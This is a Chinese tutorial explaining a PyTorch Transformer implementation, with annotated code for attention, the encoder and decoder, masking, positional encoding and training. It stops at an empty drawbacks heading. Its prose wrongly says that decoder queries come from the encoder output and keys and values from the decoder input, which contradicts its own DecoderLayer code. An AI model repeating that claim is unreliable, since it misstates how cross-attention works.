​ 由于是一个 Seq2Seq 任务,在训练时,Transformer 的训练语料为若干个句对,具体子任务可以是机器翻译、阅读理解、机器对话等。在原论文中是训练了一个英语与德语的机器翻译任务。在训练时,句对会被划分为输入语料和输出语料,输入语料将从左侧通过编码层进入 Encoder,输出语料将从右侧通过编码层进入 Decoder。Encoder 的主要任务是对输入语料进行编码再输出给 Decoder,Decoder 再根据输出语料的历史信息与 Encoder 的输出进行计算,输出结果再经过一个线性层和 Softmax 分类器即可输出预测的结果概率,整体逻辑如下图:

+
image-20230127193646262
+

​ 模型整体实现为一个 Encoder-Decoder架构:

+
class EncoderDecoder(nn.Module):
"""
A standard Encoder-Decoder architecture. Base for this and many
other models.
"""

def __init__(self, encoder, decoder, src_embed, tgt_embed, generator):
super(EncoderDecoder, self).__init__()
self.encoder = encoder
# 编码器
self.decoder = decoder
# 解码器
self.src_embed = src_embed
# 输入语料的编码函数
self.tgt_embed = tgt_embed
# 输出语料的编码函数
self.generator = generator
# 线性层+softmax分类层,输出分类概率,即架构图中的最高层

def forward(self, src, tgt, src_mask, tgt_mask):
# 前向计算函数
"Take in and process masked src and target sequences."
return self.decode(self.encode(src, src_mask), src_mask, tgt, tgt_mask)

def encode(self, src, src_mask):
# src 为输入语料
# src_mask 为输入语料的遮蔽符号
return self.encoder(self.src_embed(src), src_mask)
# 先编码输入语料,再和遮蔽符号一起传入编码器中

def decode(self, memory, src_mask, tgt, tgt_mask):
return self.decoder(self.tgt_embed(tgt), memory, src_mask, tgt_mask)
# 解码函数类似编码函数,memory为记忆,其实就是编码器的输出
+

​ 在该代码中实现的前向计算函数即先通过 Encoder 编码,再输出给 Decoder 解码。最终的线性分类并未在该类中实现。

+

​ 接下来将逐个介绍 Transformer 的实现细节和原理。

+

Attention​

+

​Attention 机制是 Transformer 的核心之一,要详细介绍Attention 机制的思想与操作需要较多的篇幅与笔墨,此处我们仅简要概述 attention 机制的思想和大致计算方法,更多细节请大家具体查阅相关资料,例如:Understanding Attention In Deep Learning (NLP)、Attention? Attention!等。在下文中,我们将从何为Attention、self-attention 和 Multi-Head attention 三个方面逐步介绍 Transformer 中使用的Attention 机制。

+

何为 Attention​

+

​Attention 机制最先源于计算机视觉领域,其核心思想为当我们关注一张图片,我们往往无需看清楚全部内容而仅将注意力集中在重点部分即可。而在自然语言处理领域,我们往往也可以通过将重点注意力集中在一个或几个 token,从而取得更高效高质的计算效果。

+

​Attention 机制的特点是通过计算 Query (查询值)与Key(键值)的相关性为真值加权求和,从而拟合序列中每个词同其他词的相关关系。其大致计算过程为:

+
image-20230129185638102
+
    +
  1. 通过输入与参数矩阵,得到查询值$q$,键值$k$,真值$v$。可以理解为,$q$ 是计算注意力的另一个句子(或词组),$v$ 为待计算句子,$k$ 为待计算句子中每个词(即 $v$ 的每个词)的对应键。其中,$v$ 与 $k$ 的矩阵维度是相同的,$q$的矩阵维度则可以不同,只需要满足 $q$ 能和$k^T$满足矩阵相乘的条件即可。
  2. +
  3. 对 $q$ 的每个元素 $q_i$ ,对 $q_i$ 与 $k$ 做点积并进行 softmax,得到一组向量,该向量揭示了 $q_i$ 对整个句子每一个位置的注意力大小。
  4. +
  5. 以上一步输出向量作为权重,对 $v$ 进行加权求和,将 $q$ 的所有元素得到的加权求和结果拼接得到最后输出。
  6. +
+

​其中,q,k,v 分别是由输入与三个参数矩阵做积得到的:

+
image-20230129185638102
+

​在实际训练过程中,为提高并行计算速度,直接使用 $q$、$k$、$v$ 拼接而成的矩阵进行一次计算即可。

+

​具体到 Transformer 模型中,计算公式如下: +$$ +Attention(Q,K,V) = softmax(\frac{QK^T}{\sqrt{d_k}})V +$$ +​其中,$d_k$ 为键向量$k$的维度,除以根号$d_k$主要作用是在训练过程中获得一个稳定的梯度。计算示例如下图:

+
image-20230129185638102
+

​ Attention 机制的基本实现代码如下:

+
def attention(query, key, value, mask=None, dropout=None):
"Compute 'Scaled Dot Product Attention'"
d_k = query.size(-1) # 获取键向量的维度,键向量的维度和值向量的维度相同,即经过注意力计算的输出维度
scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_k)
# 计算Q与K的内积并除以根号dk
# transpose 即对 K 进行了转置,使用-2和-1是因为在后续多头注意力计算中输入向量会达到四维,计算后两个维度即可
if mask is not None:
scores = scores.masked_fill(mask == 0, -1e9)
# masker_fill为遮蔽,即基于一个布尔值的参数矩阵对矩阵进行遮蔽
# 此处同上面的subsequent_mask函数结合,此处的mask即为该函数的输出
p_attn = scores.softmax(dim=-1)
if dropout is not None:
p_attn = dropout(p_attn)
# 采样
# 注意最后计算加权值是不需要转置的,上述计算返回的维度为 length*length,值参数为length*dk,直接内积即可
return torch.matmul(p_attn, value), p_attn
# 根据计算结果对value进行加权求和
+

Self-Attention​

+

​从上对 Attention 机制原理的叙述中我们可以发现,Attention 机制的本质是对两段序列的元素依次进行相似度计算,寻找出一个序列的每个元素对另一个序列的每个元素的相关度,然后基于相关度进行加权,即分配注意力。而这两段序列即是我们计算过程中 $Q$、$K$、$V$ 的来源。

+

​在经典的 Attention 机制中,$Q$ 往往来自于一个序列,$K$ 与 $V$ 来自于另一个序列,都通过参数矩阵计算得到,从而可以拟合这两个序列之间的关系。例如在 Transformer 的 Decoder 结构中,$Q$ 来自于 Encoder 的输出,$K$ 与 $V$ 来自于 Decoder 的输入,从而拟合了编码信息与历史信息之间的关系,便于综合这两种信息实现未来的预测。

+

​但在 Transformer 的 Encoder 结构中,使用的是 Attention 机制的变种—— self-attention (自注意力)机制。所谓自注意力,即是计算本身序列中每个元素都其他元素的注意力分布,即在计算过程中,$Q$、$K$、$V$ 都由同一个输入通过不同的参数矩阵计算得到。在 Encoder 中,$Q$、$K$、$V$ 分别是输入对参数矩阵 $W_q$、$W_k$、$W_v$ 做积得到,从而拟合输入语句中每一个 token 对其他所有 token 的关系。

+

​例如,通过 Encoder 中的 self-attention 层,可以拟合下面语句中 it 对其他 token 的注意力分布如图:

+
image-20230129190819407
+

​在代码中的实现,self-attention 机制其实是通过给 $Q$、$K$、$V$ 的输入传入同一个参数实现的:

+
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
+

​上述代码是 Encoder 层的部分实现,self_attn 即是注意力层,传入的三个参数都是 $x$,分别是 $Q$、$K$、$V$ 的计算输入,从而 $Q$、$K$、$$ 均来源于同一个输入,则实现了自注意力的拟合。

+

Multi-Head Attention​

+

​Attention 机制可以实现并行化与长期依赖关系拟合,但一次注意力计算只能拟合一种相关关系,单一的 Attention 机制很难全面拟合语句序列里的相关关系。因此 Transformer 使用了 Multi-Head attention 机制,即同时对一个语料进行多次注意力计算,每次注意力计算都能拟合不同的关系,将最后的多次结果拼接起来作为最后的输出,即可更全面深入地拟合语言信息。

+
image-20230129190819407
+

​ 在原论文中,作者也通过实验证实,多头注意力计算中,每个不同的注意力头能够拟合语句中的不同信息,如下图:

+
image-20230207203454545
+

​上层与下层分别是两个注意力头对同一段语句序列进行自注意力计算的结果,可以看到,对于不同的注意力头,能够拟合不同层次的相关信息。通过多个注意力头同时计算,能够更全面地拟合语句关系。

+

​Multi-Head attention 的整体计算流程如下:

+
image-20230129190819407
+

所谓的多头注意力机制其实就是将原始的输入序列进行多组的自注意力处理;然后再将每一组得到的自注意力结果拼接起来,再通过一个线性层进行处理,得到最终的输出。我们用公式可以表示为: +$$ +\mathrm{MultiHead}(Q, K, V) = \mathrm{Concat}(\mathrm{head_1}, ..., +\mathrm{head_h})W^O \ +\text{where}~\mathrm{head_i} = \mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i) +$$

+

其最直观的代码实现并不复杂,即 n 个头就有 n 组3个参数矩阵,每一组进行同样的注意力计算,但由于是不同的参数矩阵从而通过反向传播实现了不同的注意力结果,然后将 n 个结果拼接起来输出即可。

+

但上述实现复杂度较高,我们可以通过矩阵运算巧妙地实现并行的多头计算,整体计算流程如下(注:由于此处使用了矩阵运算来实现多头并行,内部逻辑相对复杂,读者可以酌情阅读):

+
class MultiHeadedAttention(nn.Module):
# 多头注意力操作
def __init__(self, h, d_model, dropout=0.1):
"Take in model size and number of heads."
super(MultiHeadedAttention, self).__init__()
assert d_model % h == 0
# 这里的 d_model 即为该层最后输出结果的维度,由于最后输出结果是 n 个头的输出结果拼接起来的,因此该维度应当能够整除头数
# 断言,控制h总是整除于d_model,如果输入参数不满足将报错
# 这里假设 d_v = d_k,其实是为了方便最后线性层的处理,如果不使用这个假设,把最后一个全连接层抽出来单独初始化即可
self.d_k = d_model // h
# 每个头要输出的维度
self.h = h
# 头数
self.linears = clones(nn.Linear(d_model, d_model), 4)
# 注意,这里初始化了4个线性层,前三个分别是三个参数矩阵每个头拼接起来的结果,最后一个是全连接层,这样操作的前提是上述假设
# 这里通过三个组合矩阵来代替了n个参数矩阵的组合,其逻辑在于矩阵内积再拼接其实等同于拼接矩阵再内积,不理解的读者可以自行模拟一下,每一个线性层其实相当于n个参数矩阵的拼接
self.attn = None
self.dropout = nn.Dropout(p=dropout)

def forward(self, query, key, value, mask=None):
"Implements Figure 2"
if mask is not None:
# Same mask applied to all h heads.
mask = mask.unsqueeze(1)
# 批次大小
nbatches = query.size(0)

# 1) 每一个输入通过线性层即参数矩阵得到映射后的结果
# 这里输入经过线性层之后维度为 nbatches*length*d_model,因为要进入注意力计算,需要把不同头的输入拆开,即将输出展开为 nbatches*length*n_head*d_k,然后将length和n_head维度互换,因为在注意力计算中我们是取了后两个维度参与计算
query, key, value = [
lin(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)
for lin, x in zip(self.linears, (query, key, value))
]
# 为什么要先按n_batches*-1*n_head*d_k展开再互换1、2维度而不是直接按注意力输入展开,是因为view的展开方式是直接把输入全部排开,然后按要求构造,可以发现只有上述操作能够实现我们将每个头对应部分取出来的目标

# 2) 进行注意力计算
x, self.attn = attention(
query, key, value, mask=mask, dropout=self.dropout
)
# x 为加权求和结果,attn为计算的注意力分数

# 3) 将注意力计算结果拼接,然后通过最后的全连接层
# 注意力输出维度为n_batches*n_head*length*d_k,我们需要的输入为n_batches*length*d_model,所以直接针对上述转换操作逆操作即可
x = (
x.transpose(1, 2)
.contiguous()
.view(nbatches, -1, self.h * self.d_k)
)
# contiguous 函数用于重新开辟一块新内存存储,因为Pytorch设置先transpose再view会报错,因为view直接基于底层存储得到,然而transpose并不会改变底层存储,因此需要额外存储

del query
del key
del value
# 最后经过全连接层即可
return self.linears[-1](x)
+

​在 Pytorch 中,其实提供了 Multi-Head Attention 机制的 API,可以通过下列代码直接构造并使用一个多头注意力层:

+
multihead_attn = nn.MultiheadAttention(embed_dim , num_heads)
# 构造一个多头注意力层
# embed_dim :输出词向量长度;num_heads :头数
# 可选参数:
# drop_out: 在采样层中drop_out的概率,默认为0;bias:线性层是否计算偏置
# add_bias_kv:是否将偏置添加到 K 和 V 中;add_zero_attn:是否为 K 和 V 再添加一串为0的序列
# kdim:K 的总共feature数;vdim:V 的总共feature数;batch_first:是否将输入调整为(batch,seq,feature)
attn_output, attn_output_weights = multihead_attn(query, key, value)
# 前向计算
# 输出:
# attn_output:形如(N,L,E)的计算结果,N为批次大小,L为目标序列长度,E为embed_dim
# attn_output_weights:注意力计算分数,仅当need_weights=True时返回
# query、key、value 分别是注意力计算的三个输入矩阵
+

Encoder​

+
image-20230129182417098
+

​如图所示,Encoder 由 N 个(论文中取 N = 6)EncoderLayer 组成,每个 EncoderLayer 又由两个 sublayer (子层)组成。在下文的代码中,每一个 layer 是一个 EncoderLayer,代码在最后又额外加入了一个标准化层进行标准化操作:

+
class Encoder(nn.Module):
"Core encoder is a stack of N layers"
# 编码器其实是由N层自注意力层+标准化层构成的

def __init__(self, layer, N):
super(Encoder, self).__init__()
self.layers = clones(layer, N)
# clones 函数为作者定义的,实现将 layer 层复制 N 次的功能
self.norm = LayerNorm(layer.size)
# 标准化层,参数为特征数

def forward(self, x, mask):
"Pass the input (and mask) through each layer in turn."
for layer in self.layers:
x = layer(x, mask)
return self.norm(x)
+

​1. 第一部分为一个多头自注意力层。Transformer 的最大特点即是抛弃了传统的 CNN、RNN 架构,完全使用 attention 机制搭建。在 EncoderLayer 中,使用了 Multi-Head self-attention(多头自注意力)层,编码输入语料的相关关系。通过 attention 机制,实现了模型的并行化与长期依赖关系的拟合。关于 Multi-Head self-attention 将在之后的板块详述其特点与实现。在通过一个多头自注意力层后,输出经过标准化层进入下一个 sublayer。

+
class EncoderLayer(nn.Module):
"Encoder is made up of self-attn and feed forward (defined below)"

def __init__(self, size, self_attn, feed_forward, dropout):
super(EncoderLayer, self).__init__()
self.self_attn = self_attn
# 自注意力层
self.feed_forward = feed_forward
# 前馈神经网络层
self.sublayer = clones(SublayerConnection(size, dropout), 2)
# 残差连接层,将在之后定义
# 两层分别用于连接自注意力层和前馈神经网络层
self.size = size

def forward(self, x, mask):
"Follow Figure 1 (left) for connections."
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
return self.sublayer[1](x, self.feed_forward)
+

​2. 第二部分为一个全连接神经网络,论文中称为“position-wise fully connected feed-forward network”,实际是一个线性层+激活函数+ dropout + 线性层的全连接网络。

+
class PositionwiseFeedForward(nn.Module):
# 即架构图中的FeedForward

def __init__(self, d_model, d_ff, dropout=0.1):
super(PositionwiseFeedForward, self).__init__()
self.w_1 = nn.Linear(d_model, d_ff)
self.w_2 = nn.Linear(d_ff, d_model)
self.dropout = nn.Dropout(dropout)

def forward(self, x):
return self.w_2(self.dropout(self.w_1(x).relu()))
# 实则是一个线性层+激活函数+采样+一个线性层
+

Decoder​

+
image-20230129183826948
+

​Decoder 与 Encoder 的组成非常类似,同样是由N个DecoderLayer组成,DecoderLayer 与 EncoderLayer 的区别在于:

+

​1. EncoderLayer由两个sublayer组成,分别是一个多头自注意力层与一个全连接网络层。DecoderLayer 则在 EncoderLayer 的两个 sublayer 的基础上增加了一个带掩码的多头注意力层。如图,最下方的多头自注意力层同 EncoderLayer结构相同,中间则是增加的一个多头注意力层,将使用 Encoder 的输出和下方多头自注意力层的输出作为输入进行注意力计算。最上方的全连接网络也同 EncoderLayer 相同。

+

​2. EncoderLayer 的输入仅来自于编码之后的输入语料(或上一个 EncoderLayer 的输出),DecoderLayer 的输入除来自于编码之后的输出语料外,还包括 Encoder 的输出。

+

​DecoderLayer 的实现如下代码:

+
class DecoderLayer(nn.Module):
"Decoder is made of self-attn, src-attn, and feed forward (defined below)"

def __init__(self, size, self_attn, src_attn, feed_forward, dropout):
super(DecoderLayer, self).__init__()
self.size = size
self.self_attn = self_attn
self.src_attn = src_attn
# 语料注意力,即图中Decoder的第二个注意力网络,拟合编码器输出和上一个子层输出的注意力
self.feed_forward = feed_forward
self.sublayer = clones(SublayerConnection(size, dropout), 3)
# 因为解码器有三个子层,所以需要三个残差连接层

def forward(self, x, memory, src_mask, tgt_mask):
"Follow Figure 1 (right) for connections."
m = memory
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))
x = self.sublayer[1](x, lambda x: self.src_attn(x, m, m, src_mask))
# 由此可见解码器中两个注意力子层的区别
# 第一个注意力子层同编码器中相同,是自注意力层,传入的三个参数均通过输入语料x得到
# 第二个注意力子层为注意力层,传入的三个参数分别由输入语料x与记忆(即编码器输出)m得到
return self.sublayer[2](x, self.feed_forward)
+

​ 注意此处为了计算输出语料与输入语料的注意力,在前向计算时,第二个注意力子层将传入 memory,也就是 Encoder 的输出。Decoder 的整体实现同 Encoder 类似,此处就不再赘述。

+

残差连接​

+

​为了避免模型退化,Transformer 采用了残差连接的思想来连接每一个子层。残差连接,即下一层的输入不仅是上一层的输出,还包括上一层的输入。残差连接允许最底层信息直接传到最高层,让高层专注于残差的学习。

+

​例如,在 Encoder 中,在第一个子层,输入进入多头自注意力层的同时会直接传递到该层的输出,然后该层的输出会与原输入相加,再进行标准化。在第二个子层也是一样。即: +$$ +\rm output = LayerNorm(x + Sublayer(x)) +$$ +​LayerNorm 为该层的标准化操作,Sublayer 为该子层的操作(多头注意力计算或全连接计算)。源码通过构造一个 SublayerConnection 类来实现残差连接:

+
class SublayerConnection(nn.Module):
"""
A residual connection followed by a layer norm.
Note for code simplicity the norm is first as opposed to last.
"""

def __init__(self, size, dropout):
super(SublayerConnection, self).__init__()
self.norm = LayerNorm(size)
self.dropout = nn.Dropout(dropout)
# 采样层

def forward(self, x, sublayer):
"Apply residual connection to any sublayer with the same size."
return x + self.dropout(sublayer(self.norm(x)))
# 残差连接,在该层实现了norm和add
+

​回到 EncoderLayer 的定义,我们可以看到作者在该层实现了两个 SublayerConnection 对象,分别实现自注意力层到全连接层、全连接层到输出的残差连接:

+
class EncoderLayer(nn.Module):
"Encoder is made up of self-attn and feed forward (defined below)"

def __init__(self, size, self_attn, feed_forward, dropout):
super(EncoderLayer, self).__init__()
self.self_attn = self_attn
self.feed_forward = feed_forward
self.sublayer = clones(SublayerConnection(size, dropout), 2)
# 残差连接层
# 两层分别用于连接自注意力层和前馈神经网络层
self.size = size

def forward(self, x, mask):
"Follow Figure 1 (left) for connections."
x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))
# 传入自注意力层作为sublayer,输出自注意力层计算并进行残差连接后的结果
return self.sublayer[1](x, self.feed_forward)
+

​DecoderLayer 中也同样实现了该对象,不过由于有三个 sublayer,所以实现了三个 SublayerConnection 对象。

+

Mask​

+

​Transformer 是一个自回归模型,类似于语言模型,其将利用历史信息依序对输出进行预测。例如,如果语料的句对为:1. <BOS> 我爱你 <EOS>;2. <BOS> I like you <EOS>。则 Encoder 获取的输入将会是句 1 整体,并输出句 1 的编码信息,但 Decoder 的输入并不一开始就是句 2 整体,而是先输入起始符<BOS>,Decoder 根据<BOS> 与 Encoder 的输出预测 I,再输入<BOS> I,Decoder 根据输入和 Encoder 的输出预测 like。因此,自回归模型需要对输入进行 mask(遮蔽),以保证模型不会使用未来信息预测当下。

+

​关于自回归模型与自编码模型的细节,感兴趣的读者可以下来查阅更多资料,在此提供部分链接供读者参考。博客:自回归语言模型 VS 自编码语言模型、预训练语言模型整理;论文:基于语言模型的预训练技术研究综述等。

+

​因此,在 Transformer 中,我们需要建立一个 mask 函数,可以根据当下预测的时间阶段对输入语料进行 mask,被 mask 的信息就不会被模型得知,从而保证了模型只使用历史信息进行预测。mask 的实现方法如下:

+
def subsequent_mask(size):
"Mask out subsequent positions."
attn_shape = (1, size, size)
# 注意力语料的形状
subsequent_mask = torch.triu(torch.ones(attn_shape), diagonal=1).type(
torch.uint8
)
# triu返回一个上三角矩阵,diagonal=1控制不保留主对角线
'''
一个例子:
a = [[1,2,3],
[4,5,6],
[7,8,9]
]
triu(a, diagonal=1)返回:
[[0,2,3],
[0,0,6],
[0,0,0]]
可见通过生成这样一个上三角矩阵,再取其中为0的位置,可以实现我们所需的未来信息遮蔽
'''
return subsequent_mask == 0
+

位置编码​

+

​Attention 机制可以实现良好的并行计算,但同时,其注意力计算的方式也导致序列中相对位置的丢失。在 RNN、LSTM 中,输入序列会沿着语句本身的顺序被依次递归处理,因此输入序列的顺序提供了极其重要的信息,这也和自然语言的本身特性非常吻合。但从上文对 Attention 机制的分析我们可以发现,在 Attention 机制的计算过程中,对于序列中的每一个 token,其他各个位置对其来说都是平等的,即“我喜欢你”和“你喜欢我”在 Attention 机制看来是完全相同的,但无疑这是 Attention 机制存在的一个巨大问题。因此,为使用序列顺序信息,保留序列中的相对位置信息,Transformer 采用了位置编码机制,该机制也在之后被多种模型沿用。

+

​位置编码,即根据序列中 token 的相对位置对其进行编码,再将位置编码加入词向量编码中。位置编码的方式有很多,Transformer 使用了正余弦函数来进行位置编码,其编码方式为: +$$ +PE(pos, 2i) = sin(pos/10000^{2i/d_{model}})\ +PE(pos, 2i+1) = cos(pos/10000^{2i/d_{model}}) +$$ +​上式中,pos 为 token 在句子中的位置,2i 和 2i+1 则是指示了 token 是奇数位置还是偶数位置,从上式中我们可以看出对于奇数位置的 token 和偶数位置的 token,Transformer 采用了不同的函数进行编码。我们以一个简单的例子来说明位置编码的计算过程:假如我们输入的是一个长度为 4 的句子"I like to code",我们可以得到下面的词向量矩阵$\rm x$,其中每一行代表的就是一个词向量,$\rm x_0=[0.1,0.2,0.3,0.4]$对应的就是“I”的词向量,它的pos就是为0,以此类推,第二行代表的是“like”的词向量,它的pos就是1: +$$ +\rm x = \begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \ 0.2 & 0.3 & 0.4 & 0.5 \ 0.3 & 0.4 & 0.5 & 0.6 \ 0.4 & 0.5 & 0.6 & 0.7 \end{bmatrix} +$$ +​则经过位置编码后的词向量为: +$$ +\rm x_{PE} = \begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \ 0.2 & 0.3 & 0.4 & 0.5 \ 0.3 & 0.4 & 0.5 & 0.6 \ 0.4 & 0.5 & 0.6 & 0.7 \end{bmatrix} + \begin{bmatrix} \sin(\frac{0}{10000^0}) & \cos(\frac{0}{10000^0}) & \sin(\frac{0}{10000^{2/4}}) & \cos(\frac{0}{10000^{2/4}}) \ \sin(\frac{1}{10000^0}) & \cos(\frac{1}{10000^0}) & \sin(\frac{1}{10000^{2/4}}) & \cos(\frac{1}{10000^{2/4}}) \ \sin(\frac{2}{10000^0}) & \cos(\frac{2}{10000^0}) & \sin(\frac{2}{10000^{2/4}}) & \cos(\frac{2}{10000^{2/4}}) \ \sin(\frac{3}{10000^0}) & \cos(\frac{3}{10000^0}) & \sin(\frac{3}{10000^{2/4}}) & \cos(\frac{3}{10000^{2/4}}) \end{bmatrix} = \begin{bmatrix} 0.1 & 1.2 & 0.3 & 1.4 \ 1.041 & 0.84 & 0.41 & 1.49 \ 1.209 & -0.016 & 0.52 & 1.59 \ 0.541 & -0.489 & 0.895 & 1.655 \end{bmatrix} +$$ +我们可以使用如下的代码来获取上述例子的位置编码:

+
import numpy as np
import matplotlib.pyplot as plt
def PositionEncoding(seq_len, d_model, n=10000):
P = np.zeros((seq_len, d_model))
for k in range(seq_len):
for i in np.arange(int(d_model/2)):
denominator = np.power(n, 2*i/d_model)
P[k, 2*i] = np.sin(k/denominator)
P[k, 2*i+1] = np.cos(k/denominator)
return P

P = PositionEncoding(seq_len=4, d_model=4, n=100)
print(P)
+
[[ 0.          1.          0.          1.        ]
[ 0.84147098 0.54030231 0.09983342 0.99500417]
[ 0.90929743 -0.41614684 0.19866933 0.98006658]
[ 0.14112001 -0.9899925 0.29552021 0.95533649]]
+

这样的位置编码主要有两个好处:

+
    +
  1. 使 PE 能够适应比训练集里面所有句子更长的句子,假设训练集里面最长的句子是有 20 个单词,突然来了一个长度为 21 的句子,则使用公式计算的方法可以计算出第 21 位的 Embedding。
  2. +
  3. 可以让模型容易地计算出相对位置,对于固定长度的间距 k,PE(pos+k) 可以用 PE(pos) 计算得到。因为 Sin(A+B) = Sin(A)Cos(B) + Cos(A)Sin(B), Cos(A+B) = Cos(A)Cos(B) - Sin(A)Sin(B)。
  4. +
+

​关于位置编码,有许多学者从数学的角度证明了该编码方式相对于其他更简单、直观的编码方式的优越性与必要性,由于本文重点在于代码的解析,此处不再赘述,感兴趣的读者可以查阅相关资料,如博客:Transformer Architecture: The Positional Encoding、A Gentle Introduction to Positional Encoding in Transformer Models 等。

+

​编码结果示例如下:

+
image-20230129201913077
+

​位置编码的实现如下:

+
class PositionalEncoding(nn.Module):

def __init__(self, d_model, dropout, max_len=5000):
super(PositionalEncoding, self).__init__()
self.dropout = nn.Dropout(p=dropout)

# Compute the positional encodings once in log space.
pe = torch.zeros(max_len, d_model)
# 位置矩阵,初始化为0
position = torch.arange(0, max_len).unsqueeze(1)
# 公式中的POS
div_term = torch.exp(
torch.arange(0, d_model, 2) * -(math.log(10000.0) / d_model)
)
# 此处对公式中的指数计算取了个对数
pe[:, 0::2] = torch.sin(position * div_term)
pe[:, 1::2] = torch.cos(position * div_term)
# 基于公式计算位置编码
pe = pe.unsqueeze(0)
self.register_buffer("pe", pe)
# 定义一组训练中不会改变的参数pe

def forward(self, x):
x = x + self.pe[:, : x.size(1)].requires_grad_(False)
# 向词向量中加入位置编码
return self.dropout(x)
+

最终建模​

+

​在完成上述实现后,再将其各个组件组合起来即可,此处使用一个函数建立完整模型:

+
def make_model(
src_vocab, tgt_vocab, N=6, d_model=512, d_ff=2048, h=8, dropout=0.1
):
"Helper: Construct a model from hyperparameters."
c = copy.deepcopy
attn = MultiHeadedAttention(h, d_model)
# 多头注意力层
ff = PositionwiseFeedForward(d_model, d_ff, dropout)
# 前馈神经网络层
position = PositionalEncoding(d_model, dropout)
# 位置编码层
model = EncoderDecoder(
Encoder(EncoderLayer(d_model, c(attn), c(ff), dropout), N),
# 编码器
Decoder(DecoderLayer(d_model, c(attn), c(attn), c(ff), dropout), N),
# 解码器,第一个attn为自注意力层,第二个attn为加入编码器输出的注意力层
nn.Sequential(Embeddings(d_model, src_vocab), c(position)),
# 输入语料编码层
nn.Sequential(Embeddings(d_model, tgt_vocab), c(position)),
# 输出语料编码层
Generator(d_model, tgt_vocab),
# 分类层
)

# This was important from their code.
# Initialize parameters with Glorot / fan_avg.
for p in model.parameters():
if p.dim() > 1:
nn.init.xavier_uniform_(p)
# 初始化参数
return model
+

训练​

+

​基于 Pytorch 实现的 Transformer 的训练大致沿用了 Pytorch 的框架,整体流程同使用 Pytorch 建立深度学习模型的流程大致相同,只不过实现了一些更底层的细节自定义。

+

Traning Loop​

+

​作者并没有直接使用 Pytorch 提供的训练函数,而是自定义了一个用于记录训练过程的类:

+
class TrainState:
"""Track number of steps, examples, and tokens processed"""

step: int = 0 # Steps in the current epoch
accum_step: int = 0 # Number of gradient accumulation steps
samples: int = 0 # total # of examples used
tokens: int = 0 # total # of tokens processed
+

​ 接着,基于该类的实现定义了运行函数:

+
def run_epoch(
data_iter,# 数据集
model,# 模型
loss_compute,# 损失计算函数
optimizer,# 优化器
scheduler,# 调度器
mode="train",# 模式,训练或测试
accum_iter=1,# 进行优化的轮数
train_state=TrainState(),
):
"""Train a single epoch"""
start = time.time()
total_tokens = 0
total_loss = 0
tokens = 0
n_accum = 0
for i, batch in enumerate(data_iter):
out = model.forward(
batch.src, batch.tgt, batch.src_mask, batch.tgt_mask
)# 模型的前向计算
loss, loss_node = loss_compute(out, batch.tgt_y, batch.ntokens)
# 计算当下的模型损失
# loss_node = loss_node / accum_iter
if mode == "train" or mode == "train+log":
loss_node.backward()
# 返乡传播
train_state.step += 1
train_state.samples += batch.src.shape[0]
train_state.tokens += batch.ntokens
if i % accum_iter == 0:
# 每隔 accum_iter 轮优化一次
optimizer.step()
optimizer.zero_grad(set_to_none=True)
n_accum += 1
train_state.accum_step += 1
scheduler.step()

total_loss += loss
total_tokens += batch.ntokens
tokens += batch.ntokens
if i % 40 == 1 and (mode == "train" or mode == "train+log"):
lr = optimizer.param_groups[0]["lr"]
elapsed = time.time() - start
print(
(
"Epoch Step: %6d | Accumulation Step: %3d | Loss: %6.2f "
+ "| Tokens / Sec: %7.1f | Learning Rate: %6.1e"
)
% (i, n_accum, loss / batch.ntokens, tokens / elapsed, lr)
)
start = time.time()
tokens = 0
del loss
del loss_node
return total_loss / total_tokens, train_state
+

优化器​

+

​在 Transformer 中,使用了 Adam 优化器,该优化器学习率的计算基于下式: +$$ +\rm learning rate=d^{-0.5}_{model} * min(step_num^{-0.5}, step_num * warmup_steps^{-1.5}) +$$ +​为何选择该优化器,以及该优化器有什么优势,感兴趣的读者可以查阅相关资料如:【Adam】优化算法浅析来深入探究其内部数学原理,此处不再赘述。基于上式,其优化器实现如下:

+
def rate(step, model_size, factor, warmup):
"""
we have to default the step to 1 for LambdaLR function
to avoid zero raising to negative power.
"""
if step == 0:
step = 1
return factor * (
model_size ** (-0.5) * min(step ** (-0.5), step * warmup ** (-1.5))
)
+

​Pytorch 也提供了各种优化器的调用 API,也包括 Adam,在实际使用中可以直接调用。

+

正则化​

+

​在训练过程中,作者使用了标签平滑来实现正则化,从而提高模型预测的准确率。具体的,使用了 KL 散度来计算标签平滑,此处同样不再赘述标签平滑、KL 散度的原理,感兴趣的读者可以参阅下列博客:【正则化】Label Smoothing详解、Kullback-Leibler(KL)散度介绍。标签平滑的代码实现如下:

+
class LabelSmoothing(nn.Module):
"Implement label smoothing."

def __init__(self, size, padding_idx, smoothing=0.0):
super(LabelSmoothing, self).__init__()
self.criterion = nn.KLDivLoss(reduction="sum")# 使用 KL 散度计算
self.padding_idx = padding_idx # 遮掩部分index
self.confidence = 1.0 - smoothing
self.smoothing = smoothing
self.size = size
self.true_dist = None

def forward(self, x, target):
assert x.size(1) == self.size
true_dist = x.data.clone()
true_dist.fill_(self.smoothing / (self.size - 2))
true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)
true_dist[:, self.padding_idx] = 0
mask = torch.nonzero(target.data == self.padding_idx)
if mask.dim() > 0:
true_dist.index_fill_(0, mask.squeeze(), 0.0)
self.true_dist = true_dist
return self.criterion(x, true_dist.clone().detach())
+

总结​

+

优点​

+

​Transformer 作为 NLP 发展史上里程碑的模型,是具有较大创新性和指导性的。其创造性地抛弃了沿用了几十年的 CNN、RNN 架构,完全使用 Attention 机制来搭建网络并取得了良好的效果,帮助 Attention 机制站上了时代的舞台。而论及模型本身,Attention 机制的使用使其能够有效捕捉长距离相关性,解决了 NLP 领域棘手的长距依赖问题,同时,抛弃了 RNN 架构使其能够充分实现并行化,提升了模型计算能力。

+

缺点​

+

